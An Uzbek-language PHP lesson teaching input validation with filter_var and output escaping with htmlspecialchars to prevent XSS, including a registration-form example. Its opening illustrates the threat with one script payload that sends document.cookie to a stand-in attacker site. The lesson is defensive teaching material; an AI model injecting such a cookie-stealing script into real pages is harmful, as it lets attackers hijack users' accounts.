Ma'lumotni tekshirish — filter_var, htmlspecialchars, XSS

~20 daq · PHP · PHP va Veb

Muammodan boshlaylik

Saytingizda izohlar bo'limi bor. Kimdir izoh o'rniga shuni yozdi:

<script>fetch('https://yomon-sayt.com/?c=' + document.cookie)</script>

Siz izohni shunchaki echo $izoh; bilan chiqarasiz. Endi shu sahifani ochgan har bir foydalanuvchining brauzeri bu skriptni bajaradi va ularning sessiya cookie sini begona saytga yuboradi. Hujumchi ularning akkauntiga parolsiz kiradi.

Bu — XSS (Cross-Site Scripting), veb-saytlardagi eng keng tarqalgan zaifliklardan biri. Bu darsda ikki qoidani o'rganamiz:

  1. Kirishda tekshir (validation) — ma'lumot kutilgan ko'rinishdami?
  2. Chiqishda zararsizlantir (escaping) — HTML ga xavfsiz chiqar

Asosiy tamoyil

[!WARNING] Foydalanuvchidan kelgan hech qanday ma'lumotga ishonmang: $_GET, $_POST, $_COOKIE, $_FILES, $_SERVER['HTTP_*']. Brauzerdagi required, maxlength, type="email" — faqat qulaylik uchun. Ularni DevTools yoki curl bilan bir soniyada aylanib o'tish mumkin. Haqiqiy tekshiruv — faqat serverda.


htmlspecialchars — chiqishda himoya

Bu funksiya HTML uchun maxsus belgilarni xavfsiz ko'rinishga o'tkazadi:

Belgi Aylanadi
< &lt;
> &gt;
& &amp;
" &quot;
' &#039;
<?php

$izoh = "<script>alert('xakerlik')</script>";

echo $izoh;
// brauzer skriptni BAJARADI

echo htmlspecialchars($izoh);
// &lt;script&gt;alert(&#039;xakerlik&#039;)&lt;/script&gt;
// brauzer uni oddiy MATN sifatida ko'rsatadi

Foydalanuvchi ekranda <script>alert('xakerlik')</script> matnini ko'radi — lekin u bajarilmaydi.

Qisqa yordamchi funksiya

Har safar uzun nom yozish noqulay. Deyarli har bir PHP loyihada shunday funksiya bor:

<?php

function e(?string $qiymat): string
{
    return htmlspecialchars($qiymat ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
<p><?= e($foydalanuvchi['ism']) ?></p>
<input value="<?= e($_POST['email'] ?? '') ?>">
  • ENT_QUOTES — ' va " ikkalasini ham aylantiradi (atribut ichida muhim)
  • ENT_SUBSTITUTE — buzilgan UTF-8 belgilarni xavfsiz almashtiradi

Laravel dagi {{ $ism }} aynan shu ishni avtomatik bajaradi.

Qoida: HTML ga chiqarilayotgan har bir dinamik qiymat e() dan o'tsin. "Bu qiymat xavfsiz, bazadan keldi" — yo'q, bazaga ham foydalanuvchi yozgan.


Validatsiya — kirishda tekshirish

Escaping ma'lumotni xavfsiz ko'rsatadi. Validatsiya esa noto'g'ri ma'lumotni qabul qilmaydi: email o'rniga "salom", yosh o'rniga "-5".

filter_var

PHP da tayyor tekshiruvchilar bor:

<?php

var_dump(filter_var("ali@mail.uz", FILTER_VALIDATE_EMAIL));   // string(11) "ali@mail.uz"
var_dump(filter_var("ali@", FILTER_VALIDATE_EMAIL));          // bool(false)

var_dump(filter_var("42", FILTER_VALIDATE_INT));     // int(42) — songa ham aylantiradi!
var_dump(filter_var("4.2", FILTER_VALIDATE_INT));    // bool(false)
var_dump(filter_var("abc", FILTER_VALIDATE_INT));    // bool(false)

var_dump(filter_var("https://devdocs.uz", FILTER_VALIDATE_URL));  // string
var_dump(filter_var("192.168.1.1", FILTER_VALIDATE_IP));          // string

Muvaffaqiyatda — tozalangan qiymat, xatoda — false.

Diapazon bilan:

<?php

$yosh = filter_var($_POST['yosh'] ?? '', FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 1, 'max_range' => 120],
]);

if ($yosh === false) {
    $xatolar['yosh'] = "Yosh 1 dan 120 gacha butun son bo'lishi kerak";
}

[!WARNING] filter_var 0 qiymatini ham qaytarishi mumkin. Shuning uchun if (!$yosh) emas, if ($yosh === false) deb tekshiring.

filter_input — to'g'ridan-to'g'ri so'rovdan

<?php

$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
// parametr yo'q → null, noto'g'ri → false, to'g'ri → int

Ro'yxatdan o'tish formasini tekshirish — to'liq misol

<?php
declare(strict_types=1);

function e(?string $q): string
{
    return htmlspecialchars($q ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$xatolar = [];
$qiymat = ['ism' => '', 'email' => '', 'yosh' => ''];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $qiymat['ism']   = trim($_POST['ism'] ?? '');
    $qiymat['email'] = trim($_POST['email'] ?? '');
    $qiymat['yosh']  = trim($_POST['yosh'] ?? '');
    $parol           = $_POST['parol'] ?? '';   // parolni trim qilmaymiz va qaytarib ko'rsatmaymiz

    // Ism: majburiy, 2-50 belgi
    $uzunlik = mb_strlen($qiymat['ism']);
    if ($uzunlik < 2 || $uzunlik > 50) {
        $xatolar['ism'] = "Ism 2 dan 50 gacha belgidan iborat bo'lsin";
    }

    // Email
    if (filter_var($qiymat['email'], FILTER_VALIDATE_EMAIL) === false) {
        $xatolar['email'] = "Email noto'g'ri";
    }

    // Yosh: 14-120
    $yosh = filter_var($qiymat['yosh'], FILTER_VALIDATE_INT, [
        'options' => ['min_range' => 14, 'max_range' => 120],
    ]);
    if ($yosh === false) {
        $xatolar['yosh'] = "Yosh 14 dan 120 gacha bo'lsin";
    }

    // Parol
    if (strlen($parol) < 8) {
        $xatolar['parol'] = "Parol kamida 8 belgi";
    }

    if (!$xatolar) {
        // saqlash... (38-darsda parolni xeshlab bazaga yozamiz)
        echo "Ro'yxatdan o'tdingiz!";
        exit;
    }
}
?>
<form method="post" novalidate>
    <input name="ism" value="<?= e($qiymat['ism']) ?>" placeholder="Ism">
    <?php if (isset($xatolar['ism'])): ?><small><?= e($xatolar['ism']) ?></small><?php endif; ?>

    <input name="email" value="<?= e($qiymat['email']) ?>" placeholder="Email">
    <?php if (isset($xatolar['email'])): ?><small><?= e($xatolar['email']) ?></small><?php endif; ?>

    <input name="yosh" value="<?= e($qiymat['yosh']) ?>" placeholder="Yosh">
    <?php if (isset($xatolar['yosh'])): ?><small><?= e($xatolar['yosh']) ?></small><?php endif; ?>

    <input name="parol" type="password" placeholder="Parol">
    <?php if (isset($xatolar['parol'])): ?><small><?= e($xatolar['parol']) ?></small><?php endif; ?>

    <button>Ro'yxatdan o'tish</button>
</form>

Xatolarni maydon nomi bo'yicha saqlash ($xatolar['email']) — har bir xatoni tegishli input yonida ko'rsatish imkonini beradi.


Kontekstga qarab himoya

htmlspecialchars — faqat HTML uchun. Boshqa joylarda boshqa vosita kerak:

Qayerga chiqyapti Vosita
HTML matn yoki atribut htmlspecialchars()
URL parametri urlencode()
JavaScript ichiga json_encode()
SQL so'rov Prepared statements (36-dars)
Shell buyruq escapeshellarg() (umuman qochgan ma'qul)
<a href="qidiruv.php?q=<?= urlencode($soz) ?>">Qidirish</a>

<script>
    const foydalanuvchi = <?= json_encode($user, JSON_HEX_TAG | JSON_HEX_QUOT) ?>;
</script>

Nima uchun shunday?

Nima uchun ma'lumotni bazaga saqlashdan oldin htmlspecialchars qilib qo'ymaymiz — bir marta qilsak, keyin hamma joyda xavfsiz bo'lmaydimi?

Chunki bir xil ma'lumot turli joyga chiqadi: HTML ga, JSON API ga, email matniga, PDF ga, Excel ga. Har biri o'z himoyasini talab qiladi. Agar bazada &lt; saqlangan bo'lsa — JSON API da ham, email da ham &lt; chiqadi. Qoida: bazada asl ma'lumotni saqlang, chiqarayotgan joyda kontekstga mos himoya qiling.


Tez-tez uchraydigan xatolar

Faqat brauzer tekshiruviga tayanish — required va type="email" server uchun hech narsa emas.

strip_tags() ni himoya deb o'ylash: u teglarni olib tashlaydi, lekin atribut ichida (value="...") qo'shtirnoq orqali hujumdan himoya qilmaydi va foydalanuvchi matnini buzadi ("2 < 3" yozuvi yo'qoladi). Chiqishda htmlspecialchars ishlating.

Validatsiyadan o'tmagan parolni formaga qaytarish — parol maydoniga value hech qachon qo'yilmaydi.


Xulosa

Eslab qoling:

  • Foydalanuvchidan kelgan hech narsaga ishonmang; brauzer tekshiruvi — faqat qulaylik
  • Chiqishda: har bir dinamik qiymat htmlspecialchars() (yoki e()) dan o'tsin
  • Kirishda: filter_var bilan tekshiring, natijani === false bilan solishtiring
  • Xatolarni maydon nomi bo'yicha massivda yig'ing
  • Bazada asl ma'lumot, chiqishda kontekstga mos himoya

Keyingi dars

21-dars: Sessiya va cookie — $_SESSION, setcookie, oddiy login